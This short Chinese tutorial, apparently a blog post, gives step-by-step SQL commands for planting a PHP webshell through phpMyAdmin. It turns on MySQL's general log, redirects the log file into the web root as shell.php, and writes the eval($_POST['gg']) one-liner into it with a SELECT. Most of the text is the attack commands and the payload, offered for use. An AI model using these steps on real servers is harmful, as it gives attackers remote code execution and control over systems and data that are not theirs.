1、登录phpmyadmin
2、查看数据路径,作为猜web路径辅助
select @@datadir;
3、查看日志功能是否开启:
(一般这个日志记录是默认关闭的,需要我们手动开启)
show variables like '%general%';
4、开启日志功能:
SET GLOBAL general_log='on';
5、修改日志路径:
set global general_log_file='D:\\phpStudy\\WWW\\shell.php';
6、执行包含shell的语句即可:
select "<?php eval($_POST['gg']);?>";
7、查看结果:
8、ps:发布文章火绒提示webshell….